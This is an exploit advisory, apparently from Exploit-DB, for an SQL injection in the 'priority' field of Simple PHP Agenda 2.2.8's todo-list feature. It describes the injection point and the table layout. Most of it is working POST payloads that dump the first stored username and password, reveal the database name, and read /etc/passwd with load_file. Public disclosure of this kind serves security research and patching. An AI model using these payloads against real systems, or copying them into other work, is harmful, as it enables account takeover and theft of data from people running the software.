PHP Agenda 2.2.8 SQLi Vulnerability

# Title:Simple PHP Agenda 2.2.8 SQLi Vulnerability
# Version: php-agenda 2.2.8
# Author/Found by: loneferret
# Manifacturer/Software link: http://sourceforge.net/projects/php-agenda/files/latest/download
# Other vulnerability: http://www.exploit-db.com/exploits/18694/

# Date found: May 7th 2012
# Tested on: Ubuntu Server 8.04 / PHP Version 5.2.4-2ubuntu5.23

# Vulnerability:
# Due to improper input sanitization, the "priority" field when creating and adding an
# item in the "todo list" is subject to SQL injection.

# Severity:
# Well if anyone actually uses this, I suppose it would be high. But if you're like me
# and still use paper you should be safe.

# As always you can have as much fun with this...

Method: POST
Parameter: priority
Page: /engine.php
Payload: action=addTodo&priority=[SQLi]&text=Destcription&newTODO=Add todo item

PoC:
We need to bleed in the text field to be able to display anything interesting.
As the priority is only a "tinyint(4)". Text field is "text" so it can handle
a bit more data.

# mysql> describe todo;
# +----------+------------+------+-----+---------+----------------+
# | Field    | Type       | Null | Key | Default | Extra          |
# +----------+------------+------+-----+---------+----------------+
# | id       | int(11)    | NO   | PRI | NULL    | auto_increment |
# | user_id  | int(11)    | NO   | MUL | 0       |                |
# | priority | tinyint(4) | NO   |     | 0       |                |
# | text     | text       | NO   |     | NULL    |                |
# | added    | int(11)    | NO   |     | 0       |                |
# | status   | tinyint(4) | NO   |     | 0       |                |
# | closed   | int(11)    | NO   |     | 0       |                |
# +----------+------------+------+-----+---------+----------------+

# So when pressing the "Add todo item" essentially issues this command to mysql:
# insert into todo (`user_id`,`priority`,`text`,`added`) values(1,4,'hello',1336438388)

Get first username and password (usually admin):
POSTDATA=action=addTODO&priority=1,(select concat(username,0x3c,0x62,0x72,0x3e,password) from users limit 1),1336389812)#&text=hello&newTODO=Add+todo+item

Get Database name:
POSTDATA=action=addTODO&priority=1,(select database()),1336389812)#&text=hello&newTODO=Add+todo+item

If mysql can do it, load /etc/passwd:
POSTDATA=action=addTODO&priority=4,(SELECT load_file(0x2f6574632f706173737764)),1336389812)#&text=hello&newTODO=Add+todo+item

# Nods to Exploit-DB, Offensive-Security for pretty much everything.
#